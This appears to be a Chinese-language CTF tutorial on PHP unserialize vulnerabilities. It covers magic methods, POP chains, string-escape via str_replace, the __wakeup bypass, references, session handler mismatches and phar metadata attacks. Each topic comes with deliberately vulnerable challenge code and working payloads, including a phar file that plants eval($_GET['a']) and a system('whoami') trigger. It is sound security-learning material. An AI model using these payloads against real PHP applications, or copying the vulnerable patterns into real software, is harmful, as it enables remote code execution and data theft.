反序列化漏洞 成因:反序列化unserialize()中接收的字符串可控,通过更改字符串得到想要的对象
php面向对象基础知识 php中类和对象的写法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 class Test { var $name ; var $id ; function __construct ($name = null ,$id = null ) { $this ->name = $name ; $this ->id = $id ; } } class Test { var $name ; var $id ; function __construct ($name = null ,$id = null ) { $this ->name = $name ; $this ->id = $id ; } } $a = new Test ();$a ->name='senpai' ;$a ->id=114514 ;print_r ($a );
php中构造函数不支持重载,如果想实现无参构造器和有参构造器都存在,要在参数中设置默认值;php访问内部成员用的是$this->成员变量名
序列化
可以进行序列化的内容:
对象,数组,标量类型(整形,浮点,布尔,字符串),包含资源的数组和对象,null
不能序列化的内容:
类,资源(比如数据库连接),未定义类型
字符串长度用于确定头尾双引号位置,防止出现 "benben"adada"这种中间带有双引号报错的情况
a:参数数量:{i:索引;对应的序列化内容;}
O:类名长度:"类名":变量数:{s:变量名长度:"变量名";变量值的序列化内容;}
private属性的成员变量序列化后,变量名前会加上0x00类名0x00(0x00是不可见字符,url编码后就是%00)
protected属性的成员变量序列化后,变量名前会加上0x00*0x00
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class Test { public $name ; private $id ; } $a = 1 ; $b = 'hello world!' ; $c = new Test (); $d = [1 ,2 ,3 ,4 ]; $e = 1.14514 ; $f = null ; echo serialize ($a )."\n" ; echo serialize ($b )."\n" ; echo serialize ($c )."\n" ; echo serialize ($d )."\n" ; echo serialize ($e )."\n" ; echo serialize ($f ); ?>
反序列化 反序列化就是将字符串变成对象 unserialize(string $str)
例题
get方法传进来的变量benben就是序列化字符串
1 2 $get = 'O:4:"test":1:{s:1:"a";s:' .strlen ($_GET ['benben' ]).':"' .$_GET ['benben' ].'";}' ;
构造url,用?传递get请求的参数(这里我让他弹窗)
?benben=O:4:"test":1:{s:1:"a";s:36:"echo "<script>alert(123);</script>";";}
使用var_dump()打印对象细节 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class Test { public $id ; private $name ; protected $sex ; public function __construct ($id = null ,$name = null ,$sex = null ) { $this ->id = $id ; $this ->name = $name ; $this ->sex = $sex ; } } $a = new Test (123 ,'淳平' ,'男' ); var_dump ($a ); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class Test { public $id ; private $name ; protected $sex ; public function __construct ($id = null ,$name = null ,$sex = null ) { $this ->id = $id ; $this ->name = $name ; $this ->sex = $sex ; } } $a = new Test (123 ,'淳平' ,'男' ); echo serialize ($a )."\n" ; $str = 'O:4:"Test":3:{s:2:"id";i:123;s:10:"%00Test%00name";s:6:"淳平";s:6:"%00*%00sex";s:3:"男";}' ; $str = urldecode ($str ); var_dump (unserialize ($str )); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class Test { public $id ; private $name ; protected $sex ; public function __construct ($id = null ,$name = null ,$sex = null ) { $this ->id = $id ; $this ->name = $name ; $this ->sex = $sex ; } } $a = new Test (123 ,'淳平' ,'男' ); echo serialize ($a )."\n" ; $str = 'O:4:"Test":3:{s:2:"id";i:123;s:10:"%00Test%00name";s:6:"德川";s:6:"%00*%00sex";s:3:"男";}' ; $str = urldecode ($str ); var_dump (unserialize ($str )); ?>
魔术方法 魔术方法:在特定条件下自动触发的方法
触发前提:魔术方法所在的类或对象被调用
魔术方法必须掌握触发时机,参数,返回值
常见魔术方法
构造与析构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 function __construct (args... ) ;function __destruct ( ) ;<?php class Test { public $name ; public function __construct ( ) { echo '构造函数' ."\n" ; } public function __destruct ( ) { echo '析构函数' ."\n" ; } } $a = new Test ();$str = serialize ($a );$str1 = 'O:4:"Test":1:{s:4:"name";N;}' ;$f = unserialize ($str1 ); ?>
unserialize()触发析构函数是因为,反序列化是将原先实例销毁,再根据序列化字符串创建新对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class Test { public $name ; public function __construct ($name = null ) { $this ->name = $name ; echo '构造函数' ."\n" ; } public function __destruct ( ) { echo '析构函数' ."\n" ; } } $a = new Test ('淳平' );$str = serialize ($a );$f = unserialize ($str );echo $a ->name;?>
漏洞例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );error_reporting (0 );class User { var $cmd = "echo 'dazhuang666!!';" ; public function __destruct ( ) { eval ($this ->cmd); } } $ser = $_GET ["benben" ];unserialize ($ser );?>
需要构造序列化字符串,将$cmd改成要执行的php命令
1 2 $str = 'O:4:"User":1:{s:3:"cmd";s:20:"echo "Hello World!";";}' ;
构造url,拼接参数?benben=O:4:"User":1:{s:3:"cmd";s:20:"echo "Hello World!";";}到localhost/ser后
sleep 先进行__sleep()再serialize()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 function __sleep ( ) ;<?php class User { public $name ; public $id ; private $password ; public function __construct ($name = null ,$id = null ,$password = null ) { $this ->name = $name ; $this ->id = $id ; $this ->password = $password ; } public function __sleep ( ) { return array ('name' ,'id' ); } } $a = new User ('淳平' ,114514 ,'114514' );echo serialize ($a );-- - - - - -- - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );error_reporting (0 );class User { const SITE = 'uusama' ; public $username ; public $nickname ; private $password ; public function __construct ($username , $nickname , $password ) { $this ->username = $username ; $this ->nickname = $nickname ; $this ->password = $password ; } public function __sleep ( ) { system ($this ->username); } } $cmd = $_GET ['benben' ];$user = new User ($cmd , 'b' , 'c' );echo serialize ($user );?>
因为__sleep()在serialize()前执行,$cmd对应的就是$username,所以我们只需要把get请求的参数换成任意的命令就行
wakeup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 function __wakeup ( ) ;<?php class User { public $name ; public $id ; private $password ; public function __construct ($name = null ,$id = null ,$password = null ) { $this ->name = $name ; $this ->id = $id ; $this ->password = $password ; } public function __sleep ( ) { return array ('name' ,'id' ); } public function __wakeup ( ) { $this ->password = '114514' ; } } $str = 'O:4:"User":2:{s:4:"name";s:6:"淳平";s:2:"id";i:114514;}' ;var_dump (unserialize ($str ));?>
例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );error_reporting (0 );class User { const SITE = 'uusama' ; public $username ; public $nickname ; private $password ; private $order ; public function __wakeup ( ) { system ($this ->username); } } $user_ser = $_GET ['benben' ];unserialize ($user_ser );?>
思路:构造get参数为一个含有username的序列化字符串,username值为任意命令 payload: ?benben=O:4:"User":1:{s:8:"username";s:20:"echo "hello world!";";}
toString和invoke 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 function __toString ( ) ;function __invoke ( ) ;<?php class User { public $id ; public $username ; private $password ; public function __construct ($id = null ,$username = null ,$password = null ) { $this ->id = $id ; $this ->username = $username ; $this ->password = $password ; } public function __tostring ( ) { return '这不是字符串!' ; } public function __invoke ( ) { return '这不是方法!!' ; } } $a = new User (1 ,'a' ,'c' );echo $a ;echo $a ();?>
错误调用相关魔术方法 call
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 function __call ($arg1 ,$arg2 ) ;<?php class User { public $id ; public $username ; private $password ; public function __construct ($id = null ,$username = null ,$password = null ) { $this ->id = $id ; $this ->username = $username ; $this ->password = $password ; } public function __call ($arg1 ,$arg2 ) { echo $arg1 ."\n" ; for ($i = 0 ;$i < count ($arg2 ); ++$i ){ echo $arg2 [$i ]."\n" ; } } } $a = new User ();$a ->test ('a' ,'b' ,'c' );?>
callStatic
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 function __callStatic ($arg1 ,$arg2 ) ;<?php class User { public $id ; public $username ; private $password ; public function __construct ($id = null ,$username = null ,$password = null ) { $this ->id = $id ; $this ->username = $username ; $this ->password = $password ; } public static function __callStatic ($arg1 ,$arg2 ) { echo $arg1 ."\n" ; for ($i = 0 ;$i < count ($arg2 ); ++$i ){ echo $arg2 [$i ]."\n" ; } } } $a = new User ();$a ::test ('a' ,'b' ,'c' );?>
get
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );class User { public $id ; public $username ; private $password ; public function __construct ($id = null , $username = null , $password = null ) { $this ->id = $id ; $this ->username = $username ; $this ->password = $password ; } public function __get ($arg1 ) { echo $arg1 ; } } $a = new User ();$a ->var2;?>
set
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 );class User { public $id ; public $username ; private $password ; public function __construct ($id = null , $username = null , $password = null ) { $this ->id = $id ; $this ->username = $username ; $this ->password = $password ; } public function __set ($arg1 ,$arg2 ) { echo $arg1 .$arg2 ; } } $a = new User ();$a ->var2 = '111' ;?>
isset
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );class User { public $id ; public $username ; private $password ; public function __construct ($id = null , $username = null , $password = null ) { $this ->id = $id ; $this ->username = $username ; $this ->password = $password ; } public function __isset ($arg1 ) { echo $arg1 ; } } $a = new User ();isset ($a ->password);empty ($a ->password);?>
unset
clone
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );class User { public $id ; public $username ; private $password ; public function __construct ($id = null , $username = null , $password = null ) { $this ->id = $id ; $this ->username = $username ; $this ->password = $password ; } public function __clone ( ) { echo 'cloned!' ; } } $a = new User ();$b = clone ($a );?>
总结表
pop链 前置知识 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );error_reporting (0 );class index { private $test ; public function __construct ( ) { $this ->test = new normal (); } public function __destruct ( ) { $this ->test->action (); } } class normal { public function action ( ) { echo "please attack me" ; } } class evil { var $test2 ; public function action ( ) { eval ($this ->test2); } } unserialize ($_GET ['test' ]);?>
反推法 1 2 3 4 5 6 1.先找漏洞在哪,eval()函数处有漏洞 2.eval调用evil的$test2 3.但是单单unserialize()并不会调用evil的action() 4.unserialize()会调用__destruct() 5.但是__destruct()中的$test是normal的实例 6.要想办法构造序列化字符串使index中的$test变成evil的实例
构造序列化字符串
方法1:直接改代码加注释,在类里赋值,让php帮忙跑出想要的序列化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php error_reporting (0 );class index { private $test ; public function __construct ( ) { $this ->test = new evil (); } } class evil { var $test2 = 'echo "Hello World!";' ; } echo urlencode (serialize (new index ()));?>
方法2:在类外进行赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ );error_reporting (0 );class index { public $test ; } class evil { var $test2 ; } $a = new evil ();$a ->test2 = 'system("ls")' ;$b = new index ();$b ->test = $a ;echo serialize ($b );?>
魔术方法触发规则 触发前提:魔术方法所在的类或对象被调用
eg:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ );error_reporting (0 );class fast { public $source ; public function __wakeup ( ) { echo "wakeup is here!!" ; echo $this ->source; } } class sec { var $benben ; public function __tostring ( ) { echo "tostring is here!!" ; } } $b = $_GET ['benben' ];unserialize ($b );?>
目标:显示tostring is here!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );class fast { public $source ; } class sec { var $benben ; } $a = new fast ();$b = new sec ();$a ->source = $b ;echo urlencode (serialize ($a ));?>
构造url,?benben=O%3A4%3A%22fast%22%3A1%3A%7Bs%3A6%3A%22source%22%3BO%3A3%3A%22sec%22%3A1%3A%7Bs%3A6%3A%22benben%22%3BN%3B%7D%7D
先执行wakeup()再执行toString()
POP链构造与POC编写
eg:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php highlight_file (__FILE__ );error_reporting (0 );class Modifier { private $var ; public function append ($value ) { include ($value ); echo $flag ; } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { echo $this ->source; } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ unserialize ($_GET ['pop' ]); } ?>
第一步:触发invoke,使$var = 'flag.php'
第二步:触发get,给$p赋值为对象Modifier
第三步:触发toString,给$str赋值为对象Test
第四步:触发wakeup,给source赋值为自己的对象
因为wakeup在Show中,所以我们构造序列化字符串中传递的参数就是Show
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );class Modifier { private $var = 'flag.php' ; } class Show { public $source ; public $str ; } class Test { public $p ; } $a = new Modifier ();$b = new Show ();$c = new Test ();$b ->source = $b ;$b ->str = $c ;$c ->p = $a ;echo urlencode (serialize ($b ));?>
把url编码后的序列化字符串作为参数传入?pop=
得到flag:`` ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
字符串逃逸 利用str_replace()
1 2 3 4 5 6 7 function str_replace (array |string $search , array |string $replace , array |string $subject ) ;
反序列化时,属性长度不对,成员数量不对都无法进行序列化,会显示bool(false)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting(0); class Test{ public $a; public $b; } $a=new Test(); // echo serialize($a); // $ser_str = 'O:4:"Test":2:{s:1:"a";N;s:1:"b";N;}'; $ser_str = 'O:4:"Test":1:{s:1:"a";N;s:1:"b";N;}';//成员数量不对 var_dump(unserialize($ser_str)); ?> <!--bool(false)--> <?php error_reporting(0); class Test{ public $a; public $b; } $a=new Test(); // echo serialize($a); // $ser_str = 'O:4:"Test":2:{s:1:"a";N;s:1:"b";N;}'; $ser_str = 'O:4:"Test":2:{s:1111:"a";N;s:1:"b";N;}';//长度不对 var_dump(unserialize($ser_str)); ?> <!--bool(false)-->
如果反序列化时,忽略了某个存在的变量,序列化字符串中加上新的变量,最终反序列化结果会包含被忽略的变量和序列化字符串中的变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting(0); class Test{ public $a; public $b; } $a=new Test(); // echo serialize($a); // $ser_str = 'O:4:"Test":2:{s:1:"a";N;s:1:"b";N;}'; $ser_str = 'O:4:"Test":2:{s:1:"a";N;s:1:"c";N;}'; var_dump(unserialize($ser_str)); ?> <!-- object(Test)#2 (3) { ["a"]=> NULL ["b"]=> NULL ["c"]=> NULL } >
为什么长度一定不能错?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 );class Test { public $a ; public $b ; public $c = 'c' ; } $a = new Test ();$ser_str = 'O:4:"Test":2:{s:1:"a";N;s:1:"b";N;}s:1:"c";"ccc";}' ;var_dump (unserialize ($ser_str ));?>
减少
1 2 3 4 5 6 7 8 9 10 11 12 <?php class Test { public $a ; public $b = 'abcsystem' ; public $c ; } $str = serialize (new Test ());$str = str_replace ('system' ,"" ,$str );"abc" ;s:1 :"" var_dump (unserialize ($str ));?>
就是构造成员变量的值,在str_replace()的时候,能刚好吃掉不想要的,能够构造我们的命令
先把我们要执行的命令写好,这样便于构造长度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class Test { public $a = 'abcsystem' ; public $b = '构造的表达式' ; } $str = serialize (new Test ());echo "$str \n" ;'O:4:"Test":2:{s:1:"a";s:9:"abcsystem";s:1:"b";s:?:"构造的表达式";}' ;?> <?php class Test { public $a = 'abcsystemsystemsystem' ; public $b = '12";s:1:"b";s:20:"echo "hello world!";";}' ; } $str = serialize (new Test ());echo "$str \n" ;'O:4:"Test":2:{s:1:"a";s:21:"abcsystemsystemsystem";s:1:"b";s:37:"s:1:"b";s:20:"echo "hello world!";";}";}' ;$str = str_replace ('system' ,'' ,$str );$str = 'O:4:"Test":2:{s:1:"a";s:21:"abc";s:1:"b";s:37:"12";s:1:"b";s:20:"echo "hello world!";";}";}' ;var_dump (unserialize ($str ));?>
例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting (0 );function filter ($name ) { $safe = array ("flag" , "php" ); $name = str_replace ($safe , "hk" , $name ); return $name ; } class test { var $user ; var $pass ; var $vip = false ; function __construct ($user , $pass ) { $this ->user = $user ; $this ->pass = $pass ; } } $param = $_GET ['user' ];$pass = $_GET ['pass' ];$param = serialize (new test ($param , $pass ));$profile = unserialize (filter ($param ));if ($profile ->vip) { echo file_get_contents ("flag.php" ); } ?>
思路,三个属性,构造第一个属性,使它能吃掉剩下属性的值,在第二个属性中构造表达式使vip=true
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class test { var $user = "php" ; var $pass = "" ; var $vip ; } echo serialize (new test ());?>
增多
用str_replace(),替换成一个更长的字符串,把多余的字符吐出来
1 2 3 4 5 6 7 8 9 10 11 12 <?php class Test { public $a = 'a' ; public $b = 'b' ; } $a = new Test ();$str = serialize ($a );$str = str_replace ('a' ,'aaa' ,$str );aa ?>
思路:把吐出来的多余代码构造成功能性代码
构造的字符串:";s:1:"b":s:?:"";} 用;}结束反序列化,不用管原功能性代码
构造的字符串长度为x,将ls替换成pwd会吐一个字符出来,需要x个pwd,这样就能吐x个字符出来,与前面长度正确对应,功能性代码被正确吐出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 class Test { public $a = 'ls' ; public $b = 'b' ; } $a = new Test ();echo serialize ($a )."\n" ;?> <?php class Test { public $a = 'lslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslsls' ; public $b = 'b' ; } $a = new Test ();$hacker = '";s:1:"b";s:20:"echo "hello world!";";}' ;$a ->a = $a ->a.$hacker ;$str = serialize ($a );echo "$str \n" ;$str = str_replace ('ls' ,'pwd' ,$str );echo "$str \n" ;var_dump (unserialize ($str ));?>
例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );function filter ($name ) { $safe = array ("flag" , "php" ); $name = str_replace ($safe , "hack" , $name ); return $name ; } class test { var $user ; var $pass = 'daydream' ; function __construct ($user ) { $this ->user = $user ; } } $param = $_GET ['param' ];$param = serialize (new test ($param ));$profile = unserialize (filter ($param ));if ($profile ->pass == 'escaping' ) { echo file_get_contents ("flag.php" ); } ?>
目标:判断pass是否为escaping;用filter将php换成hack达到字符串增多
目标逃逸代码:";s:4:"pass";s:8:"escaping";},29个字符,所以需要29个php
构造参数?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp%22%3Bs%3A4%3A%22pass%22%3Bs%3A8%3A%22escaping%22%3B%7D
得到flag
wakeup魔术方法绕过
例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php error_reporting (0 );class secret { var $file ='index.php' ; public function __construct ($file ) { $this ->file=$file ; } function __destruct ( ) { include_once ($this ->file); echo $flag ; } function __wakeup ( ) { $this ->file='index.php' ; } } $cmd =$_GET ['cmd' ];if (!isset ($cmd )){ highlight_file (__FILE__ ); } else { if (preg_match ('/[oc]:\d+:/i' ,$cmd )){ echo "Are you daydreaming?" ; } else { unserialize ($cmd ); } } ?>
分析:要绕过__wakeup(),O:后面不能跟数字以绕过正则表达式
1 2 3 4 5 6 7 8 <?php class secret { var $file = 'flag.php' ; } echo serialize (new secret ())."\n" ;echo urlencode ('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}' );?>
拿到flag
引用 php中引用为 &
1 2 3 4 5 6 7 8 9 <?php class Test { public $a ; public $b ; } $test = new Test ();$test ->a = &$test ->b; echo serialize ($test )."\n" ;?>
例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );class just4fun { var $enter ; var $secret ; } if (isset ($_GET ['pass' ])) { $pass = $_GET ['pass' ]; $pass =str_replace ('*' ,'\*' ,$pass ); } $o = unserialize ($pass );if ($o ) { $o ->secret = "*" ; if ($o ->secret === $o ->enter) echo "Congratulation! Here is my secret: " .$flag ; else echo "Oh no... You can't fool me" ; } else echo "are you trolling?" ;?>
这题中传入引用即可
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 );include ("flag.php" );class just4fun { var $enter ; var $secret ; } $a = new just4fun ();$a ->enter = &$a ->secret;echo serialize ($a );?>
session反序列化漏洞 一个页面写入session,一个页面读出session
例题 no.1
1 2 3 4 5 6 7 8 <?php highlight_file (__FILE__ );error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['ben' ] = $_GET ['a' ];?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );error_reporting (0 );ini_set ('session.serialize_handler' ,'php' );session_start ();class D { var $a ; function __destruct ( ) { eval ($this ->a); } } ?>
以php_serialize方式写入,以php方式读出,php方式键名|序列化字符串,所以构造参数时要加|
构造参数 ?a=|O:1:"D":1:{s:1:"a";s:20:"echo "hello world!";";}
no.2
1 2 3 4 5 6 7 8 <?php highlight_file (__FILE__ );error_reporting (0 );ini_set ('session.serialize_handler' , 'php_serialize' );session_start ();$_SESSION ['a' ] = $_GET ['a' ];?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ );session_start ();class Flag { public $name ; public $her ; function __wakeup ( ) { $this ->her=md5 (rand (1 , 10000 )); if ($this ->name===$this ->her){ include ('flag.php' ); echo $flag ; } } } ?>
分析:需要用到引用,以php_serialize方式写入session,php方式读出
构造参数?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;};
phar反序列化漏洞
重点关注manifest这个字段
manifest字段格式
24byte后是序列化的字符串
漏洞原理
例题 no.1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php highlight_file (__FILE__ );class Testobj { var $output ='' ; } @unlink ('test.phar' ); $phar =new Phar ('test.phar' ); $phar ->startBuffering (); $phar ->setStub ('<?php __HALT_COMPILER(); ?>' ); $o =new Testobj ();$o ->output='eval($_GET["a"]);' ;$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" ,"test" ); $phar ->stopBuffering ();?> <?php highlight_file (__FILE__ );error_reporting (0 );class Testobj { var $output ="echo 'ok';" ; function __destruct ( ) { eval ($this ->output); } } if (isset ($_GET ['filename' ])){ $filename =$_GET ['filename' ]; var_dump (file_exists ($filename )); } ?>
分析:phar中manifest的值是对Testobj中$output=eval($_GET['a'])进行序列化后得到的字符串,反序列化必然会调用__destruct(),相当于eval(eval($_GET['a'])),执行了eval($_GET['a']),所以要传入两个参数,$filename处就可以传入phar伪协议参数,??filename=phar://test.phar&a=system('whoami');